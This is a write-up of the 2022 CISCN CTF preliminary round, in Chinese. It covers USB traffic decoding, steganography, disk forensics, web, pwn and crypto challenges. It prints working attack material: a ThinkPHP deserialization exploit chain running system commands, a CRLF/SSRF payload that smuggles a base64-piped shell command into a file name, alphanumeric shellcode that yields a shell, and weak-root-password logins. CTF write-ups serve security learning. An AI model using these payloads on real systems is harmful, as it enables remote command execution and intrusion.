2022 CISCN 创新能力实践赛初赛WP_python


文章目录

  • ​​MISC​​
  • ​​ez_usb​​
  • ​​everlasting_night​​
  • ​​babydisk​​
  • ​​WEB​​
  • ​​Ezpop​​
  • ​​online_crt​​
  • ​​PWN​​
  • ​​login-nomal​​
  • ​​CRY​​
  • ​​基于挑战码的双向认证1​​
  • ​​基于挑战码的双向认证2​​
  • ​​基于挑战码的双向认证2​​
  • ​​签到电台​​
  • ​​ISO9798​​



MISC

ez_usb

2022 CISCN 创新能力实践赛初赛WP_python_02

文件-导出特定分组

tshark -r 2.8.1.pcapng -T fields -e usb.capdat > 2.8.1.txt

import os,sys

normalKeys = {

"04":"a", "05":"b", "06":"c", "07":"d", "08":"e",

"09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",

"0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",

"13":"p", "14":"q", "15":"r", "16":"s", "17":"t",

"18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",

"1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",

"22":"5", "23":"6","24":"7","25":"8","26":"9",

"27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",

"2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\",

"32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",

"38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",

"3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",

"44":"<F11>","45":"<F12>"}

shiftKeys = {

"04":"A", "05":"B", "06":"C", "07":"D", "08":"E",

"09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",

"0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",

"13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",

"18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",

"1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",

"22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",

"28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",

"2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":""",

"34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",

"3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",

"41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}



#pcapFilePath = sys.argv[1]

#os.system("tshark -r "+pcapFilePath+" -T fields -e usb.capdata | sed '/^\s*$/d' > out.txt")

output = []

keys = open('./2.8.1.txt')

for line in keys:

line = ''.join(line[i:i+2]+':' for i in range(0,len(line)-1,2)).strip(':')

try:

if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":

continue

if line[6:8] in normalKeys.keys():

output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']

else:

output += ['[unknown]']

except:

pass



keys.close()



flag=0

#print("".join(output))

for i in range(len(output)):

try:

a=output.index('<DEL>')

del output[a]

del output[a-1]

except:

pass



for i in range(len(output)):

try:

if output[i]=="<CAP>":

flag+=1

output.pop(i)

if flag==2:

flag=0

if flag!=0:

output[i]=output[i].upper()

except:

pass



print ('output :' + "".join(output))

os.system("rm -rf 2.8.1.txt")

得到加密的压缩包,同样方式提取

2022 CISCN 创新能力实践赛初赛WP_web安全_03

得到压缩包密码

​output :35c535765e50074a​

解密得到flag

​flag{20de17cc-d2c1-4b61-bebd-41159ed7172d}​

everlasting_night

stegsolve 查看图片发现

2022 CISCN 创新能力实践赛初赛WP_python_04

得到一个密码,考虑 lsb 隐写加密

2022 CISCN 创新能力实践赛初赛WP_python_05

python2 lsb.py extract everlasting_night.png out.txt f78dcd383f1b574b

得到 zip,发现被加密,想到 png 后面还有一串字符没用


经过各种尝试最后发现是 md5,somd5 解密就好了得到压缩包密码

​ohhWh04m1​

2022 CISCN 创新能力实践赛初赛WP_2d_06

010 打开发现 png 但是不是正常的图片,gimp 打开看一下

2022 CISCN 创新能力实践赛初赛WP_web安全_07

​flag{607f41da-e849-4c0b-8867-1b3c74536cc4}​

babydisk

附件是 vmdk 文件,可以直接拿 Diskgenius 挂载,也可以使用 winhex 等等。这里我使用 DiskGenius 挂载

2022 CISCN 创新能力实践赛初赛WP_安全_08

挂载后能看到有个 wav

2022 CISCN 创新能力实践赛初赛WP_web安全_09

右击-复制到桌面可以提取出来,010 查看没啥东西,wav 的隐写有 deepsound 和 silenteye 或者还有其他,先用deepsound 试一下,用 deepsound 打开如果能显示存在密码说明就是 deepsound 隐写的

2022 CISCN 创新能力实践赛初赛WP_双向认证_10

现在的问题是需要一个密码,那就谷歌搜一下

2022 CISCN 创新能力实践赛初赛WP_2d_11

里面的文章恰好完成了我们的需求


#!/usr/bin/env python3

'''

deepsound2john extracts password hashes from audio files containing encrypted

data steganographically embedded by DeepSound (http://jpinsoft.net/deepsound/).

This method is known to work with files created by DeepSound 2.0.

Input files should be in .wav format. Hashes can be recovered from audio files

even after conversion from other formats, e.g.,

ffmpeg -i input output.wav

Usage:

python3 deepsound2john.py carrier.wav > hashes.txt

john hashes.txt

This software is copyright (c) 2018 Ryan Govostes <rgovostes@gmail.com>, and

it is hereby released to the general public under the following terms:

Redistribution and use in source and binary forms, with or without

modification, are permitted.

'''



import logging

import os

import sys

import textwrap





def decode_data_low(buf):

return buf[::2]



def decode_data_normal(buf):

out = bytearray()

for i in range(0, len(buf), 4):

out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))

return out



def decode_data_high(buf):

out = bytearray()

for i in range(0, len(buf), 8):

out.append((buf[i] & 3) << 6 | (buf[i + 2] & 3) << 4 \

| (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))

return out





def is_magic(buf):

# This is a more efficient way of testing for the `DSCF` magic header without

# decoding the whole buffer

return (buf[0] & 15) == (68 >> 4) and (buf[2] & 15) == (68 & 15) \

and (buf[4] & 15) == (83 >> 4) and (buf[6] & 15) == (83 & 15) \

and (buf[8] & 15) == (67 >> 4) and (buf[10] & 15) == (67 & 15) \

and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)





def is_wave(buf):

return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'





def process_deepsound_file(f):

bname = os.path.basename(f.name)

logger = logging.getLogger(bname)



# Check if it's a .wav file

buf = f.read(12)

if not is_wave(buf):

global convert_warn

logger.error('file not in .wav format')

convert_warn = True

return

f.seek(0, os.SEEK_SET)



# Scan for the marker...

hdrsz = 104

hdr = None



while True:

off = f.tell()

buf = f.read(hdrsz)

if len(buf) < hdrsz: break



if is_magic(buf):

hdr = decode_data_normal(buf)

logger.info('found DeepSound header at offset %i', off)

break



f.seek(-hdrsz + 1, os.SEEK_CUR)



if hdr is None:

logger.warn('does not appear to be a DeepSound file')

return



# Check some header fields

mode = hdr[4]

encrypted = hdr[5]



modes = {2: 'low', 4: 'normal', 8: 'high'}

if mode in modes:

logger.info('data is encoded in %s-quality mode', modes[mode])

else:

logger.error('unexpected data encoding mode %i', modes[mode])

return



if encrypted == 0:

logger.warn('file is not encrypted')

return

elif encrypted != 1:

logger.error('unexpected encryption flag %i', encrypted)

return



sha1 = hdr[6:6+20]

print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))


if __name__ == '__main__':

import argparse

parser = argparse.ArgumentParser()

parser.add_argument('--verbose', '-v', action='store_true')

parser.add_argument('files', nargs='+', metavar='file',

type=argparse.FileType('rb', bufsize=4096))

args = parser.parse_args()


if args.verbose:

logging.basicConfig(level=logging.INFO)

else:

logging.basicConfig(level=logging.WARN)



convert_warn = False



for f in args.files:

process_deepsound_file(f)



if convert_warn:

print(textwrap.dedent('''

---------------------------------------------------------------

Some files were not in .wav format. Try converting them to .wav

and try again. You can use: ffmpeg -i input output.wav

---------------------------------------------------------------

'''.rstrip()), file=sys.stderr)

先使用脚本获取一 hash 再用 john 爆破就好了

2022 CISCN 创新能力实践赛初赛WP_双向认证_12

得到密码是 feedback

2022 CISCN 创新能力实践赛初赛WP_双向认证_13

得到 key.txt

2022 CISCN 创新能力实践赛初赛WP_安全_14

这个时候拿到 key 肯定是要解密什么东西,思考一下现在可以利用的东西,音频已经解完了,可能是 vmdk 还有什么东西没有发现,然后使用 FTK 挂载一下

2022 CISCN 创新能力实践赛初赛WP_web安全_15

2022 CISCN 创新能力实践赛初赛WP_python_16


2022 CISCN 创新能力实践赛初赛WP_2d_17

在回收站发现了两个文件,导出看一下,结合刚刚拿到的密码想到可以用 veracrypt 或者是 Truecrypt (具体名字忘了),经过尝试可以用 vera 挂载,$RDWTTK4 这个文件可以成功挂载

2022 CISCN 创新能力实践赛初赛WP_双向认证_18

2022 CISCN 创新能力实践赛初赛WP_安全_19

spiral 是一个 zip,然后发现里面的数据很乱

下面是复现部分。

搜索一下​​spiral​

2022 CISCN 创新能力实践赛初赛WP_安全_20


def function(n):

matrix = [[0] * n for _ in range(n)]



number = 1

left, right, up, down = 0, n - 1, 0, n - 1

while left < right and up < down:

# 从左到右

for i in range(left, right):

matrix[up][i] = number

number += 1



# 从上到下

for i in range(up, down):

matrix[i][right] = number

number += 1



# 从右向左

for i in range(right, left, -1):

matrix[down][i] = number

number += 1



for i in range(down, up, -1):

matrix[i][left] = number

number += 1

left += 1

right -= 1

up += 1

down -= 1

# n 为奇数的时候,正方形中间会有个单独的空格需要单独填充

if n % 2 != 0:

matrix[n // 2][n // 2] = number

return matrix

WEB

Ezpop

扫目录发现 ​​www.zip​​,下载源码进行审计,结合题目提示发现是 tp 的旧有漏洞,去找网上的利用链


poc

<?php

namespace think\model\concern;



trait Attribute

{

private $data = ["key" => ["key1" => "cat /f*"]];

private $withAttr = ["key"=>["key1"=>"system"]];

protected $json = ["key"];

}

trait ModelEvent{

protected $withEvent;

}



namespace think;



abstract class Model{

use model\concern\Attribute;

use model\concern\ModelEvent;

private $exists;

private $force;

private $lazySave;

protected $suffix;

function __construct($a = '')

{

$this->exists = true;

$this->force = true;

$this->lazySave = true;

$this->withEvent = false;

$this->suffix = $a;

}

}



namespace think\model;



use think\Model;



class Pivot extends Model{}



echo urlencode(serialize(new Pivot(new Pivot())));

?>

生成 poc

a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A24%3A%22cat+..%2F..%2F..%2F..%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A24%3A%22cat+..%2F..%2F..%2F..%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

访问路由 ​​index.php/index/test​

2022 CISCN 创新能力实践赛初赛WP_安全_21

online_crt

下载代码进行审计

2022 CISCN 创新能力实践赛初赛WP_安全_22

app.py

@app.route('/getcrt', methods=['GET', 'POST'])

def upload():

Country = request.form.get("Country", "CN")

Province = request.form.get("Province", "a")

City = request.form.get("City", "a")

OrganizationalName = request.form.get("OrganizationalName", "a")

CommonName = request.form.get("CommonName", "a")

EmailAddress = request.form.get("EmailAddress", "a")

return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)

生成 crt 证书

@app.route('/createlink', methods=['GET'])

def info():

json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}

return json.dumps(json_data)



@app.route('/proxy', methods=['GET'])

def proxy():

uri = request.form.get("uri", "/")

client = socket.socket()

client.connect(('localhost', 8887))

msg = f'''GET {uri} HTTP/1.1

Host: test_api_host

User-Agent: Guest

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close



'''

client.send(msg.encode())

data = client.recv(2048)

client.close()

return data.decode()

可以访问内网 8887 端口的 go 服务

func admin(c *gin.Context) {

staticPath := "/app/static/crt/"

oldname := c.DefaultQuery("oldname", "")

newname := c.DefaultQuery("newname", "")

if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {

c.String(500, "error")

return

}

if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {

err := os.Rename(staticPath+oldname, staticPath+newname)

if err != nil {

return

}

c.String(200, newname)

return

}

c.String(200, "no")

}

可以看到 admin 函数替换名字,也就是说文件名称是可以控制的

也就是说题目重点也是我们可以操作的点就是:app.py 的 info 函数

ls 进行列目录

c_rehash 扫描指定目录列表中的.pem,.crt,.cer及.crl文件并为这些文件计算hash值,并以计算出的hash值为名字为这些文件创建符号连接。(如果你的操作平台不支持符号连接,则执行的是一个拷贝。)这个功能像很多程序一样有用,对于使用OpenSSL要求建立的目录,其目的是找到证书。

访问内网 go 服务需要使用 get 请求加上 post 下的参数,使用 clrf 发完整的 http 包

最终 payload

uri=/admin/renam%25%36%35?oldname=6feee645-87d2-411f-bc5d-13501b3eae98.crt%26newname="||echo%25%32%30Y2F0IC9mbGFn|base64%25%32%30-d|sh||".crt%20HTTP/1.1%0aHost: admin%0aAa:%0a%0a

首先访问 getcrt 生成 crt 文件,发包去替换 crt 文件名

2022 CISCN 创新能力实践赛初赛WP_web安全_23

然后 createlink 去执行命令看到 flag

2022 CISCN 创新能力实践赛初赛WP_python_24

PWN

login-nomal

通过菜单功能 1 获得 root 权限,通过功能 2mmap 一段可读可写可执行权限的地址,并且发现里面有对于输入内容是否为可视字符的 check,使用 alpha3 生成 shellcode 以后 getshell

from pwn import *

p = process('./pwn')

payload1 = "msg:ro0tt\nopt:1\n"

p.sendline(payload1)

sc = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070tt"

payload2 = "msg:"+sc+"\nopt:2\n"

p.sendline(payload2)

p.interactive()

CRY

基于挑战码的双向认证1

2022 CISCN 创新能力实践赛初赛WP_2d_25

非预期

用户名密码均为player

cd /root/cube-shell/instance/flag_server

直接 catflag 即可

2022 CISCN 创新能力实践赛初赛WP_python_26

基于挑战码的双向认证2

非预期

cat flag2.txt

基于挑战码的双向认证2

非预期

弱密码

su root、toor 密码

签到电台

根据公众号给出的提示,得到了“弼时安全到达了”所对应的7个电码:

1732 2514 1344 0356 0451 6671 0055

知道是要从密码表截取前28位,每位相加然后模除以10,加不进位,减不借位

脚本:

key = '6561607990115808526135662113'

nums = '1732251413440356045166710055'

for i in range(0,28):

print((int(key[i])+int(nums[i])) % 10,end="")

#7293858303555154561291372168

用url传参把结果传进去,就能拿到flag

2022 CISCN 创新能力实践赛初赛WP_python_27

ISO9798

申请容器,用自己的服务器 nc 容器

根据提示爆破四位的字符串

脚本:

from hashlib import sha256



s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY0123456789'



for i in s:

for j in s:

for k in s:

for l in s:

string = i+j+k+l+'xBSIsJVew5i1em0k'

b = sha256(string.encode('utf-8')).hexdigest()

if (b == 'fd5cfd228da08b9b788e3c2290268eca55f98581c3c54e2c577dcb051de50071'):

print(string)

输入个数字作为RB的值

根据题目提示参考ISO9798-2标准,对RA和RB做分割提取和拼接

​https://www.doc88.com/p-1496121116297.html​

s = '0dc7b82d345c2cdfee36dc1c7d5a397a78e6af74fa2bd810be55dd3cefb1afe96f5a0acdd3a17922baaf31ea767d99e2'

ra = s[0:32]

rb = s[32:64]

print(rb+ra)

输入计算的值,得到flag